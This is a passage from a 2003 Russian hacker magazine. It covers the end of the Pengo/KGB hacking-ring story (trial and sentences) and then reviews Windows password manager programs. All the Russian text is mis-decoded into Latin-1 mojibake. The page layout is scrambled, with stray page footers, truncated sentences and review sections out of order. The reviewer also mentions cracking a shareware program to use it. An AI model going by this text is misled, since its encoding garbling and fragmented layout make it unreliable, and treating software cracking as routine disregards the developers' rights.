 îòëè÷èå îò îñòàëüíûõ, Ïåíãî äóìàë íå î äåíüãàõ, à î<br />

âîçìîæíîñòÿõ ÊÃÁ îáåñïå÷èòü åãî ìîùíûì êîìïüþòåðîì,<br />

âûñîêîñêîðîñòíûì ìîäåìîì è áåçîïàñíûì îêðóæåíèåì<br />

äëÿ õàêåðñòâà. Îí áûë íàñòîëüêî óâëå÷åí ñâîèì<br />

äåëîì, ÷òî íå âèäåë ðàçíèöû â òîì, êòî âîñïîëüçóåòñÿ<br />

ðåçóëüòàòàìè åãî èññëåäîâàíèé è ñ êàêîé öåëüþ.<br />

Äëÿ Ïåíãî äîãîâîð ñ ÊÃÁ íè÷åãî íå èçìåíèë. Îí ïî<br />

ïðåæíåìó çàíèìàëñÿ õàêåðñòâîì, ïðîñòî íåêîòîðûå ñâîè<br />

íàõîäêè îí òåïåðü îòäàâàë Ïèòó. Â 1986 ã. Ãàíñ ïîñòóïèë<br />

â óíèâåðñèòåò íà ôàêóëüòåò êîìïüþòåðíûõ íàóê, ïîïóòíî<br />

ïîäðàáàòûâàÿ ðàçðàáîòêîé ðàçíûõ óòèëèò. Èíîãäà Ïèòåð<br />

Êàðë íàãðàæäàë åãî íåñêîëüêèìè ñîòíÿìè áàêñîâ - ïîëîâèíîé<br />

ïîëó÷åííûõ îò Ñåðãåÿ äåíåã. Íî íóæíûå ÊÃÁ âåùè<br />

â îñíîâíîì ïðèõîäèëè îò Ìàðêóñà Õåññà, äíåì ðàáîòàâøåãî<br />

ïðîãðàììåðîì â ôèðìå è çàíèìàâøåãîñÿ âçëîìîì<br />

êîìïüþòåðíûõ ñèñòåì ïî íî÷àì.<br />

Ñîòðóäíè÷åñòâî ñ ÊÃÁ ïðîäîëæàëîñü îêîëî äâóõ ëåò, ïîñòåïåííî<br />

ñõîäÿ íà íåò. Õàãáàðä, è ðàíüøå ÷àñòî ïðèíèìàâøèé<br />

íàðêîòèêè, óæå íå ìîã áåç íèõ îáõîäèòüñÿ è áîëüøóþ<br />

÷àñòü âðåìåíè ïðåáûâàë ïîä êàéôîì. Ïèòåð âñå åùå<br />

íå îñòàâëÿë íàäåæä îáîãàòèòüñÿ çà ñ÷åò ðóññêèõ è ïûòàëñÿ<br />

ïîäáèòü òîâàðèùåé äîñòàòü åùå ÷òî-íèáóäü ïîëåçíîå.<br />

Íî Äîá è Ìàðêóñ èìåëè õîðîøóþ ðàáîòó è íå õîòåëè<br />

ñèëüíî ðèñêîâàòü, à Ïåíãî îòêðûë ñâîé ìàëåíüêèé áèçíåñ<br />

- ôèðìó, ïðåäîñòàâëÿþùóþ óñëóãè ïðîãðàììèðîâàíèÿ.<br />

Âñå ìîãëî òàê òèõî-ìèðíî è çàêîí÷èòüñÿ. Åñëè áû<br />

íåêîòîðûå ó÷àñòíèêè ãðóïïû íå ðàñêîëîëèñü.<br />

<br />

<br />

Ïåðâûì ñëîìàëñÿ Õàãáàðä. Îáóðåâàåìûé ìàíèåé ïðåñëåäîâàíèÿ,<br />

îí ðàññêàçàë îáî âñåì àäâîêàòó, à òîò ïîñîâåòîâàë<br />

ïîéòè ñ ïîâèííîé ê âëàñòÿì. Ìåíüøå ÷åì<br />

÷åðåç íåäåëþ Ïåíãî, äàâàÿ èíòåðâüþ æóðíàëèñòàì íà<br />

òåìó ñâîèõ õàêåðñêèõ ïîõîæäåíèé, ïðîãîâîðèëñÿ î<br />

ñäåëêå ñ ÊÃÁ. Æóðíàëèñòû ñâåëè åãî ñ õîðîøèì àäâîêàòîì,<br />

è òîò òîæå ïîñîâåòîâàë ïðèçíàòüñÿ âî âñåì, òàê<br />

êàê, ïî çàêîíó, â ýòîì ñëó÷àå åãî ìîãëà æäàòü àìíèñòèÿ.<br />

 îòëè÷èå îò îñòàëüíûõ ÷ëåíîâ ãðóïïû, êîòîðûì<br />

ãðîçèë ñóðîâûé ïðèãîâîð çà øïèîíàæ. Õàãáàðä è Ïåíãî<br />

ïðàêòè÷åñêè â îäèí ìîìåíò âûëîæèëè âñå, êàê åñòü,<br />

êàæäûé íà ñâîé ìàíåð. Êîãäà îá èíöèäåíòå óçíàëà<br />

ïðåññà, ýòîò ñëó÷àé ñòàë ñåíñàöèåé íîìåð îäèí ïî<br />

âñåé Ãåðìàíèè è äàæå çà åå ïðåäåëàìè. Âñå ãàçåòû ïåñòðåëè<br />

çàãîëîâêàìè òèïà "Õàêåðû - øïèîíû ÊÃÁ", êîìïüþòåðíûé<br />

àíäåãðàóíä áûë âîçìóùåí ñòîëü ÷óäîâèùíûì<br />

íàðóøåíèåì õàêåðñêîé ýòèêè.<br />

 ÿíâàðå 1990 ã. ñîñòîÿëñÿ ñóä, íà êîòîðîì Ïåíãî âûñòóïèë<br />

ñâèäåòåëåì. Ìåñòî âòîðîãî ñâèäåòåëÿ - Õàãáàðäà -<br />

ïóñòîâàëî. Íåçàäîëãî äî ýòîãî åãî íàøëè ñîææåííûì â<br />

ëåñó, ðÿäîì ñî ñâîåé ìàøèíîé. Íèêòî òàê è íå âûÿñíèë<br />

ïðè÷èíó åãî ãèáåëè. Íèêòî íå çíàë - áûë ýòî ñóèöèä èëè<br />

óáèéñòâî. Íåñìîòðÿ íà ïðî÷íûå äîêàçàòåëüñòâà âèíû<br />

âñåé êîìàíäû, âûÿñíèëîñü, ÷òî ïðîäàííàÿ Ñîâåòàì èíôîðìàöèÿ<br />

áûëà íå òàêîé óæ ñåêðåòíîé, à ÷àñòü åå âîîáùå<br />

íàõîäèëîñü â ñâîáîäíîì äîñòóïå. Ïî êðàéíåé ìåðå, îíà<br />

íå ñòîèëà òåõ 45 òûñÿ÷ äîëëàðîâ, êîòîðûå Ñåðãåé â îáùåé<br />

ñëîæíîñòè ïåðåäàë Ïèòåðó Êàðëó. Ó÷èòûâàÿ ýòî, à<br />

òàêæå òîò ôàêò, ÷òî âñå, îñîáåííî Õàãáàðä, óñïåëè ïîñòðàäàòü<br />

çà âðåìÿ ñëåäñòâèÿ, ñóäüÿ âûíåñ ñêðîìíûé ïðèãîâîð.<br />

Ïèòåð Êàðë ïîëó÷èë 2 ãîäà óñëîâíî è $1500 øòðàôà,<br />

Ìàðêóñ Õåññ - 20 ìåñÿöåâ óñëîâíî è $5000 øòðàôà, Äîáá<br />

- 14 óñëîâíûõ ìåñÿöåâ è $2500 øòðàôà. Ãàíñà çà äîáðîâîëüíîå<br />

ïðèçíàíèå è ñîäåéñòâèå âëàñòÿì àìíèñòèðîâàëè.<br />

Ïîñëå ñóäà Ïåíãî çàâÿçàë ñ õàêåðñòâîì. Âìåñòå ñ äðóçüÿìè<br />

îí îñíîâàë íîâóþ ñîôòâåðíóþ ôèðìó (èç ñòàðîé<br />

åãî âûïåðëè) è íåêîòîðîå âðåìÿ ðàáîòàë ñèñòåìíûì<br />

ïðîãðàììèñòîì, ñîâìåùàÿ ýòó äåÿòåëüíîñòü ñ äîëæíîñòüþ<br />

àäìèíèñòðàòîðà.<br />

 1990 ã., â ñâÿçè ñ ïåðåìåíàìè â Áåðëèíå, Ãàíñ ïåðååõàë<br />

â Âåíó, ãäå æåíèëñÿ. Íà ðîäèíó îí âåðíóëñÿ â<br />

1992 ãîäó è ïðîäîëæèë ðàáîòàòü â êîìïüþòåðíîé ñôåðå,<br />

ðàçðàáàòûâàÿ ðàçëè÷íîå ÏÎ. Âñå ýòî âðåìÿ îí ñ<br />

èíòåðåñîì íàáëþäàë çà ðàçâèòèåì õàêåðñêîé ñöåíû è<br />

ïðèíèìàë ó÷àñòèå âî ìíîãèõ security êîíôåðåíöèÿõ,<br />

âêëþ÷àÿ CCC. Ñåé÷àñ áûâøèé õàêåð - àêòèâíûé ÷ëåí<br />

îðãàíèçàöèè "Automaten E.V." (http://www.automatenbar.de),<br />

ðàáîòàåò íàä ñîáñòâåííûì ïðîåêòîì, ñâÿçàííûì<br />

ñ èçó÷åíèåì âëèÿíèÿ êîìïüþòåðíîãî ñëåæåíèÿ íà<br />

íàøó æèçíü, è âîñïèòûâàåò äâîèõ ñûíîâåé. Î ñâîåì<br />

æå õàêåðñêîì ïðîøëîì Ãàíñ âñïîìèíàåò<br />

ðåäêî, íåîõîòíî, è ýòè âîñïîìèíàíèÿ íèêîãäà<br />

íå îáõîäÿòñÿ áåç ãðóñòíîé óëûáêè.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8


PC_Zone<br />

ÓÑÒÀÍÎÂÈ<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÓÑÒÀÍÎÂÈ ÂÈÐÒÓÀËÜÍÛÉ ÑÅÉÔ<br />

Àíäðåé<br />

ÑÀÌ ÑÅÁÅ<br />

Êàðîëèê<br />

ÈÌÈÒÀÒÎÐ<br />

(andrusha@sl.ru)<br />

Âçëîìùèêîâ ÷àùå âñåãî èíòåðåñóþò<br />

àêêàóíòû îò äèàëàïîâ, áàííåðíûõ<br />

ñèñòåì, àñåê ñ êðàñèâûìè íîìåðàìè,<br />

ýëåêòðîííûõ ïëàòåæíûõ ñèñòåì (íàïðèìåð,<br />

WebMoney), õîñòèíãîâ, øåëëîâ<br />

è ò.ä. ×òîáû çàùèòèòü äàííûå îò<br />

íåñàíêöèîíèðîâàííîãî äîñòóïà, ïðèäóìûâàþòñÿ<br />

õèòðîóìíûå ïàðîëè, êîòîðûå<br />

íå ïî çóáàì âçëîìùèêàì, íî<br />

ñî âðåìåíåì îíè óñïåøíî çàáûâàþòñÿ<br />

:). Äàæå åñëè çàïèñàòü èõ íà êëî÷êå<br />

òóàëåòíîé áóìàãè íà ÷åðíûé äåíü,<br />

íåò ãàðàíòèè, ÷òî êòî-íèáóäü âïîïûõàõ<br />

ñëó÷àéíî èì íå âîñïîëüçóåòñÿ,<br />

òîãäà âîññòàíîâèòü áóäåò ñëîæíîâàòî.<br />

Äðóãàÿ êðàéíîñòü - ïðèäóìûâàþòñÿ<br />

î÷åíü ïðîñòûå ïàðîëè, êîòîðûå<br />

ëåãêî çàïîìíèòü. Íî ýòî òàêæå ìîæåò<br />

êîí÷èòüñÿ ïëà÷åâíî - êàêîé-íèáóäü<br />

ìåëêèé íåäîóìîê ñêà÷àåò èç èíåòà<br />

ïðîñòåíüêèé ïåðåáîðùèê è âñêðîåò<br />

òâîè ïàðîëè, êàê êîíñåðâíûå áàíêè.<br />

Ïîñòàâèòü íà âñå îäèíàêîâûé, íî ìåãàñëîæíûé<br />

ïàðîëü Ýòî âûõîä! Íî<br />

åñëè òàêîé ïàðîëü çàñâåòèòñÿ, òî ÷åëîâåê<br />

ïîòåðÿåò ñðàçó âñå!<br />

ÂÈÐÒÓÀËÜÍÛÉ<br />

ÑÅÉÔ<br />

ÏÐÎÃÐÀÌÌÛ ÄËß ÕÐÀÍÅÍÈß ÏÀÐÎËÅÉ<br />

<br />

Òàêèì îáðàçîì, ïðîáëåìà çàêëþ÷àåòñÿ â òîì, ÷òîáû, èñïîëüçóÿ<br />

ñëîæíûå ïàðîëè, îáåñïå÷èòü èõ çàùèùåííîå õðàíåíèå<br />

è áûñòðûé äîñòóï ê íèì â íóæíûé ìîìåíò. Âñå ýòî<br />

óìåþò òàê íàçûâàåìûå ìåíåäæåðû ïàðîëåé - ïðîãðàììû,<br />

ïðåäíàçíà÷åííûå äëÿ õðàíåíèÿ äàííûõ â çàøèôðîâàííîì<br />

âèäå. Ñëîæíûå àëãîðèòìû øèôðîâàíèÿ, èñïîëüçóåìûå â<br />

ìåíåäæåðàõ ïàðîëåé, äåëàþò èõ íåïðèñòóïíîé Áàñòèëèåé,<br />

è âñå ïîïûòêè âçëîìà îêàæóòñÿ ïóñòîé òðàòîé âðåìåíè.<br />

Òåáå æå äëÿ ðàáîòû ïîíàäîáèòñÿ çàïîìíèòü âñåãî<br />

îäèí ïàðîëü - äëÿ äîñòóïà ê ñàìîé ïðîãðàììå. Íî ýòî âñå<br />

òàê, îáùèå ñëîâà. Äàâàé ðàññìîòðèì ëó÷øèõ ïðåäñòàâèòåëåé<br />

ýòîé ïîëåçíîé ðàçíîâèäíîñòè ïðîã ïîáëèæå...<br />

Whisper32 v 1.14<br />

Ýòà êðîøêà ðàñïðîñòðàíÿåòñÿ çà ùåäðîå ñïàñèáî. Âçàìåí<br />

àâòîð ñëåçíî ïðîñèò íå ïîäïèñûâàòü åãî òâîðåíèå ñâîèì<br />

èìåíåì, íå ïîäñìàòðèâàòü (÷èòàé äèçàññåìáëèðîâàòü)<br />

èñõîäíûé êîä è óæ òåì áîëåå íå èñïîëüçîâàòü èñõîäíèêè<br />

â ñâîèõ êîðûñòíûõ öåëÿõ :). Ïîêà èçó÷àë ïàãó ïðîãè, îáíàðóæèë<br />

íåîæèäàííûé ñþðïðèç: åå àâòîð ðàáîòàåò â<br />

Microsoft. Êîëè÷åñòâî ìîíèòîðîâ (íà êâàäðàòíûé ìåòð) íà<br />

åãî ðàáî÷åì ìåñòå âïå÷àòëÿåò:<br />

www.ivory.org/images/office4.jpg.<br />

ÍÀÑÒÐÎÉÊÈ È ÂÎÇÌÎÆÍÎÑÒÈ<br />

Äëÿ óäîáñòâà âñå ïàðîëè õðàíÿòñÿ â âèäå îòäåëüíûõ çàïèñåé.<br />

Êàæäàÿ ñîñòîèò èç ÷åòûðåõ ïîëåé: íàçâàíèå àêêàóíòà,<br />

ëîãèí, ïàðîëü è êîììåíòàðèè. Ýòîãî âïîëíå äîñòàòî÷íî, à<br />

ðàçìåð êîììåíòàðèåâ íå îãðàíè÷åí, òàê ÷òî ìîæåøü â<br />

êðàñêàõ ðàñïèñàòü, ÷åé ýòî ïàðîëü, êàê è ãäå áûë ñòûðåí :).<br />

Ôóíêöèîíàë íà óðîâíå. Ïîääåðæêà òðåÿ (Tray) ïîçâîëÿåò<br />

äåðæàòü õðàíèëèùå âñåãäà ïîä ðóêîé. Áëàãîäàðÿ çàáîòëèâîìó<br />

àâòîðó, äëÿ âñåõ ñòðàòåãè÷åñêè âàæíûõ äåéñòâèé<br />

ïðåäóñìîòðåíû êîìáèíàöèè ãîðÿ÷èõ êëàâèø, êîòîðûå<br />

ñâåäóò ëèøíèå òåëîäâèæåíèÿ ê ìèíèìóìó. Âñòðîåííûé<br />

ãåíåðàòîð ïàðîëåé èìååò ìíîæåñòâî íàñòðîåê è ñî÷èíÿåò<br />

ñëó÷àéíûå ïàðîëè äëèíîé äî 48(!) ñèìâîëîâ. Äàííûå ïðè<br />

íåîáõîäèìîñòè ïåðåíîñÿòñÿ ÷åðåç áóôåð îáìåíà ñ ïîìîùüþ<br />

êîìáèíàöèé Ctrl+C è Ctrl+U äëÿ ëîãèíà è ïàðîëÿ<br />

ñîîòâåòñòâåííî. Ïðè âûõîäå èç ïðîãè ñîäåðæèìîå áóôåðà<br />

òðåòñÿ àâòîìàòîì, ÷òîáû âðàãàì íå äîñòàëîñü :).<br />

Ïðè õðàíåíèè ïàðîëåé äëÿ ââîäà â èíåòå (â ôîðóìàõ, ÷àòàõ,<br />

ìûëüíèêàõ è ò.ï.) öåëåñîîáðàçíî óêàçàòü óðë â êîììåíòàðèÿõ.<br />

Òîãäà ïðè íàæàòèè Ctrl+H (Edit -> Open URL) ïðîãà àâòîìàòîì<br />

âûöåïèò àäðåñ èç êîììåíòàðèåâ è ïîäãðóçèò áðàóçåð<br />

ñ ýòèì àäðåñîì. Óäîáíî è áûñòðî. Âñòàâëÿòü ïàðîëü,<br />

ïðàâäà, ïðèäåòñÿ ðó÷êàìè. Åùå îäíà ïîëåçíàÿ ôè÷à - ïàðîëè<br />

èìåþò ñâîé ñðîê äåéñòâèÿ (ïî óìîë÷àíèþ íå îãðàíè÷åí),<br />

ïî èñòå÷åíèè êîòîðîãî èêîíêè ðÿäîì ñ çàïèñÿìè ìåíÿþò<br />

ñâîé öâåò. Åñëè ïàðîëè ðåãóëÿðíî ìåíÿòü, òî âîçìîæíîñòü<br />

âçëîìà áóäåò ïðàêòè÷åñêè èñêëþ÷åíà.<br />

Win 9x/Me/NT/2k/XP<br />

Freeware<br />

Âåñ: ~432 Êá<br />

http://www.ivory.org<br />

ÂÅÐÄÈÊÒ<br />

Íåáîëüøàÿ, íî ôóíêöèîíàëüíàÿ øòó÷êà áåç ëèøíèõ íàâîðîòîâ.<br />

Åñëè òåáå íóæåí íåîáõîäèìûé ìèíèìóì, òî ýòî<br />

òâîé âûáîð. Áûë áû ïîèñê ïî çàïèñÿì è àâòîçàïîëíåíèå<br />

ôîðì, öåíû áû åé íå áûëî.<br />

38 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


PINs v 4.20<br />

Win 9x/Me/NT/2k/XP<br />

Freeware<br />

Âåñ: ~640 Êá<br />

http://www.mirwoj.opus.chelm.pl<br />

Åùå îäíà áåñïëàòíàÿ ìàëþòêà. Ðàñïðîñòðàíÿåòñÿ ñ èñõîäíûì<br />

êîäîì (Open Source). Ýòî äàåò ïîëíûå ãàðàíòèè<br />

òîãî, ÷òî âíóòðè íåò ÷åðíûõ õîäîâ è óíèâåðñàëüíûõ êëþ-<br />

÷åé, ñ ïîìîùüþ êîòîðûõ òåáÿ ìîãóò â îäèí ïðåêðàñíûé<br />

äåíü êðàñèâî ïîèìåòü. Ïðîãðàììà ïîääåðæèâàåò 22(!)<br />

ÿçûêà, âêëþ÷àÿ ðóññêèé. Êîãäà ÷èòàåøü ìåíþøêè íà ðîäíîì<br />

ÿçûêå, äóøà ïîåò ;).<br />

ÂÅÐÄÈÊÒ<br />

Êà÷àòü â äâà ðàçà äîëüøå, à óäîâîëüñòâèé ìàññà. Ðàçáèâêà<br />

íà ðàçäåëû ïîçâîëÿåò õðàíèòü äàííûå ïî òåìàòèêå, ÷òî<br />

íåîáõîäèìî ïðè áîëüøîì êîëè÷åñòâå ïàðîëåé. Îòêðûòîñòü<br />

êîäà, ðóññêèé èíòåðôåéñ è äîñòàòî÷íî ãèáêèå íàñòðîéêè<br />

- âåñêèå ïðè÷èíû, ÷òîáû ïîñòàâèòü ñåáå ýòó ïðîãó.<br />

 íàãðóçêó ïîëó÷èøü óíèâåðñàëüíûé ãåíåðàòîð ïàðîëåé è<br />

ìåãàòåðêó äàííûõ :). Âñå ñîâåðøåííî áåñïëàòíî!<br />

Personal Passworder v 3.4<br />

Win 9x/Me/NT/2k/XP<br />

Shareware<br />

Âåñ: ~1,11 Ìá<br />

http://www.dvasoft.com<br />

Ñ ýòîé ïëàòíîé ñîôòèíîé (êñòàòè, äåëàëè íàøè ïðîãðàììèñòû)<br />

ïðèøëîñü ïîïîòåòü â ïîèñêàõ êðÿêà, íî ñòàðàíèÿ<br />

íå ïðîøëè äàðîì :). Îíà ÿâëÿåòñÿ ìíîãîïîëüçîâàòåëüñêîé<br />

ïðîãðàììîé - êàæäîìó âûäåëÿåòñÿ îòäåëüíûé àêêàóíò.<br />

Âûáîð àêêàóíòà è àêòèâèçàöèÿ ïàðîëÿ äåëàþòñÿ ÷åðåç äèàëîãîâîå<br />

îêíî ïåðåä çàãðóçêîé ïðîãðàììû. Çàãðóæàåìñÿ.<br />

Ìåíþøåê íå òàê ìíîãî, çàòî è ëèøíèõ íåò.<br />

ñåáÿ. Äðóãàÿ ïîëåçíàÿ ôè÷à - ïðîñìîòð ââåäåííûõ ïàðîëåé,<br />

îòîáðàæàåìûõ çâåçäî÷êàìè. Çàïóñòè Èíñòðóìåíò -><br />

Îòêðûòèå ïàðîëåé. Íà ýêðàíå ïîÿâèòñÿ íåáîëüøàÿ ïàíåëüêà.<br />

Òåïåðü íàâåäè êóðñîð íà ëþáîé çàìàñêèðîâàííûé<br />

çâåçäî÷êàìè ïàðîëü è óâèäèøü, êàêîé îí íà ñàìîì äåëå<br />

:). Øòóêà î÷åíü óäîáíàÿ. Çàáûë ïàðîëü, ê ïðèìåðó, ê ñâîåé<br />

ïàãå â CuteFTP (òàì îíè îòîáðàæàþòñÿ çâåçäàìè), çàïóñòèë<br />

ñìîòðåëêó - è íåò ïðîáëåì.<br />

 ãåíåðàòîðå êó÷à íàñòðîåê, ïðè÷åì äëèíà ïàðîëÿ íå îãðàíè÷åíà.<br />

Ïðîãðàììà óìååò ýêñïîðòèðîâàòü äàííûå â ÷åòûðå<br />

ôîðìàòà: Excel, HTML, XML è òåêñò (Èíñòðóìåíòû -><br />

Ýêñïîðò). Ýêñïîðòèðóþòñÿ âñå çàïèñè èëè âûáîðî÷íî.<br />

ÂÅÐÄÈÊÒ<br />

Õîðîøèé ìíîãîïîëüçîâàòåëüñêèé ïàðîëåñáîðíèê. Ïðèâëåêàòåëüíûé<br />

âíåøíå è ïîëíîñòüþ íà ðóññêîì ÿçûêå, âêëþ÷àÿ<br />

ïîìîùü è äîêóìåíòàöèþ. Íàñòîÿùàÿ íàõîäêà è àëüòåðíàòèâà<br />

çàâèñàíèþ â òðåå - ìèíèïàíåëü. Êðîìå òîãî, óìååò<br />

ïîäñìàòðèâàòü ïàðîëè, çàìàñêèðîâàííûå çâåçäî÷êàìè.<br />

Password Agent v 2.2.1<br />

Win 9x/Me/NT/2k/XP<br />

Shareware<br />

Âåñ: ~1,21 Ìá<br />

http://www.moonsoftware.com<br />

ÍÀÑÒÐÎÉÊÈ È ÂÎÇÌÎÆÍÎÑÒÈ<br />

Íàñòðîåê ïî ñðàâíåíèþ ñ Whisper32 îùóòèìî áîëüøå. Ëåãêî<br />

ïîäñòðàèâàåìûé èíòåðôåéñ: óñòàíàâëèâàþòñÿ øðèôòû,<br />

öâåò ôîíà è ïàðàìåòðû ðàçëèíîâêè. Âðîäå ìåëî÷ü, íî ó<br />

âñåõ ñâîè âêóñû. Çàïèñè ðàñïîëàãàþòñÿ íå ñïëîøíÿêîì, à<br />

äåëÿòñÿ íà ðàçäåëû, ÷òî ñóùåñòâåííî îáëåã÷àåò õðàíåíèå<br />

è ïîèñê. Êàæäàÿ çàïèñü ñîäåðæèò ïî ñåìü(!) ïîëåé: íàçâàíèå,<br />

èìÿ, ïàðîëü, óðë (ëèáî êðàòêîå îïèñàíèå), êîììåíòàðèè,<br />

à òàêæå äàòó íà÷àëà è êîíöà äåéñòâèÿ ïàðîëÿ. Ïðè<br />

ýòîì çàãîëîâêè ïîëåé ìåíÿþòñÿ íà ëþáûå, õîòü ìàòîì :).<br />

Çàïîëíÿòü ôîðìû äëÿ àâòîðèçàöèè ïðîãà, ê ñîæàëåíèþ, íå<br />

óìååò, íî ïî êîìàíäå ñêèäûâàåò èõ â áóôåð. Ñðåäè äîïîëíèòåëüíûõ<br />

âîçìîæíîñòåé ïðèñóòñòâóþò ýêñïîðò ïàðîëåé,<br />

èìïîðò äàííûõ èç òåêñòîâîãî ôàéëà, îçâó÷èâàíèå âàæíûõ<br />

ìàíèïóëÿöèé, ðåçåðâíîå ñîõðàíåíèå áàçû íà ñëó÷àé âîéíû<br />

(èëè çàáàñòîâêè ýëåêòðèêîâ) è î÷èñòêà áóôåðà (ïðè âûõîäå<br />

èëè ñâîðà÷èâàíèè â òðåé). Áàçà ñ ïàðîëÿìè øèôðóåòñÿ àëãîðèòìîì<br />

Blowfish 448-áèò, òàê ÷òî âñÿêèå íåãîäÿè áóäóò<br />

âçëàìûâàòü áàçó ãîäàìè.<br />

 êîìïëåêòå èäåò ãåíåðàòîð ïàðîëåé. Ïðè ãåíåðàöèè<br />

ìîæíî èñïîëüçîâàòü ãîòîâûé øàáëîí èëè äîâåðèòüñÿ ìåòîäó<br />

ñëó÷àéíîãî òûêà. Ìàêñèìàëüíàÿ äëèíà ïàðîëÿ - äî<br />

56 ñèìâîëîâ. Âûñòàâëÿåøü êîëè÷åñòâî ãåíåðèðóåìûõ ïàðîëåé<br />

è âûáèðàåøü íàèáîëåå êðàñèâûé èç ñïèñêà. È ñîâñåì<br />

íîâàÿ ôè÷à - êðóòàÿ òåðêà :). Ïîçâîëÿåò ñòèðàòü äàííûå<br />

(îòäåëüíûå ôàéëû èëè öåëûå ïàïêè), êàê áóäòî èõ<br />

âåòðîì ñäóëî. Ïîñëå óáîðêè óäàëåííûå äàííûå âîññòàíîâèòü<br />

íåðåàëüíî. Íà âûáîð íåñêîëüêî âåíèêîâ: ïñåâäîñëó-<br />

÷àéíûé ïðîõîä (áûñòðûé, íî ñàìûé íåíàäåæíûé), DoD 3<br />

ïðîõîäà, DoD 7 ïðîõîäîâ, Gutmann 35 ïðîõîäîâ (ìåäëåííûé,<br />

íî ñàìûé íàäåæíûé) è ñîáñòâåííûé ìåòîä, êîòîðûé<br />

çàäàåòñÿ ôîðìóëîé. Ïîñòó÷àò â äâåðü - èñïûòàåøü :).<br />

ÍÀÑÒÐÎÉÊÈ È ÂÎÇÌÎÆÍÎÑÒÈ<br />

Ïîìèìî äåëåíèÿ íà êàòåãîðèè â ïðîãå åñòü äîïîëíèòåëüíàÿ<br />

ðàçáèâêà íà ãðóïïû. Ïî óìîë÷àíèþ èõ äâå - ïàðîëè<br />

äëÿ ïðîãðàìì è ïàðîëè äëÿ âåáà. Äëÿ áûñòðîãî ïåðåêëþ-<br />

÷åíèÿ ìåæäó ðàçíûìè ãðóïïàìè îíè ñäåëàíû â âèäå çàêëàäîê.<br />

×òîáû ñîçäàòü íîâûå ãðóïïû èëè îòðåäàêòèðîâàòü<br />

ñóùåñòâóþùèå, çàãëÿíè â Èíñòðóìåíòû -> Ãðóïïû. Íàñòîÿùèé<br />

êîíñòðóêòîð LEGO äëÿ âçðîñëûõ. ×òî êàñàåòñÿ çàïèñåé,<br />

îíè ñîäåðæàò ïî ïÿòü ïîëåé: çàãîëîâîê, ëîãèí, ïàðîëü,<br />

óðë è êîììåíòàðèè. Ê ñîæàëåíèþ, ýòà ïðîãà òîæå<br />

íå óìååò çàïîëíÿòü ôîðìû. Äàííûå, àíàëîãè÷íî PINs,<br />

øèôðóþòñÿ àëãîðèòìîì Blowfish 448-áèò.<br />

Ïðåêðàñíàÿ çàäóìêà - ìèíèïàíåëüêà (Èíñòðóìåíòû -><br />

Ïàíåëü). Îíà îòæèðàåò ìèíèìóì ìåñòà íà ýêðàíå, è íà<br />

íåé ðàçìåùàþòñÿ îñíîâíûå ðû÷àãè óïðàâëåíèÿ ñîäåðæèìûì.<br />

Åäèíñòâåííûé ìèíóñ - åå íåëüçÿ íàñòðàèâàòü ïîä<br />

À âîò è âòîðîé ïëàòíûé ìîíñòð. Íà âèä áîëåå íàâîðî÷åííûé<br />

- íàïîìèíàåò ïðîâîäíèê â ñòåêëÿííûõ. Ïðè óñòàíîâêå<br />

ìàñòåð-ïàðîëÿ íà áàçó ïðåäëàãàåòñÿ äîïîëíèòåëüíî ââåñòè<br />

ïîäñêàçêó (hint), êîòîðóþ ìîæíî â äàëüíåéøåì ïîäñìîòðåòü,<br />

åñëè ñëó÷àéíî çàáóäåøü ìàñòåð-ïàðîëü ;). Äðóãèìè<br />

ñëîâàìè, íàâîäÿùèé êîììåíòàðèé äëÿ ñêëåðîòèêîâ<br />

ïî ïîâîäó ïîñòàâëåííîãî ïàðîëÿ :).<br />

ÍÀÑÒÐÎÉÊÈ È ÂÎÇÌÎÆÍÎÑÒÈ<br />

Íàñòðîåê è âîçìîæíîñòåé áîëüøå, ÷åì â PINs. Âåòâëåíèå<br />

ïî êàòåãîðèÿì è ïîäêàòåãîðèÿì íèêàê íå îãðàíè÷åíî. Èñïîëüçóé<br />

ðàçíûå èêîíêè, ÷òîáû íå çàïóòàòüñÿ â ýòîì êóñòàðíèêå.<br />

 òâîåì ðàñïîðÿæåíèè èìåþòñÿ 9 öâåòîâûõ ñõåì<br />

è 10 ïðèêîëüíûõ êàðòèíîê. Â êîíöå êîíöîâ, þçàé áûñòðûé<br />

ïîèñê, åñëè ÷òî :). Çàïèñè ìîãóò áûòü äâóõ âèäîâ:<br />

Account è Note. Ïðèíöèïèàëüíîå ðàçëè÷èå çàêëþ÷àåòñÿ â<br />

òîì, ÷òî ó Note íåò ïîëåé ñ ëîãèíîì è ïàðîëåì.<br />

 Password Agent áîëüøå âíèìàíèÿ óäåëåíî çàùèòå<br />

îò ñëó÷àéíûõ ãëàç. Áóôåð î÷èùàåòñÿ êàê ïðè âûõîäå<br />

èç ïðîãè, òàê è ïî èñòå÷åíèè äâóõ ìèíóò (âûñ-<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 39


PC_Zone<br />

ÓÑÒÀÍÎÂÈ ÂÈÐÒÓÀËÜÍÛÉ ÑÅÉÔ<br />

Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />

ÕÀÊÅÐ\¹51\Ìàé\2003<br />

ÌÀÑÒÅÐ ÏÀÐÎËÅÉ<br />

ÀËÜÒÅÐÍÀÒÈÂÍÎÅ ÕÐÀÍÈËÈÙÅ<br />

òàâëÿåòñÿ îïöèîíàëüíî â íàñòðîéêàõ). Áëîêèðîâêà îñóùåñòâëÿåòñÿ<br />

ïðè ñâîðà÷èâàíèè â òðåé, ÷åðåç ïÿòü ìèíóò ïðîñòîÿ<br />

èëè ïðè ñðàáàòûâàíèè ñêðèíñåéâåðà. Çàùèòà îò äóðàêîâ<br />

- Undo ;). Óìååò àâòîìàòè÷åñêè çàïîëíÿòü ôîðìû äëÿ<br />

àâòîðèçàöèè. Îòêðûâàåøü íóæíóþ ôîðìó è íàæèìàåøü<br />

Ctrl+A (ïðîãðàììà çàïîëíÿåò ïîëÿ ëîãèíà è ïàðîëÿ) èëè<br />

Ctrl+P (òîëüêî ïàðîëü).<br />

ÂÅÐÄÈÊÒ<br />

Åñëè ó òåáÿ õðàíèòñÿ áîëåå ñîòíè ïàðîëåé è êàêèå-òî çàìåòêè,<br />

òî Password Agent áóäåò íåçàìåíèì áëàãîäàðÿ<br />

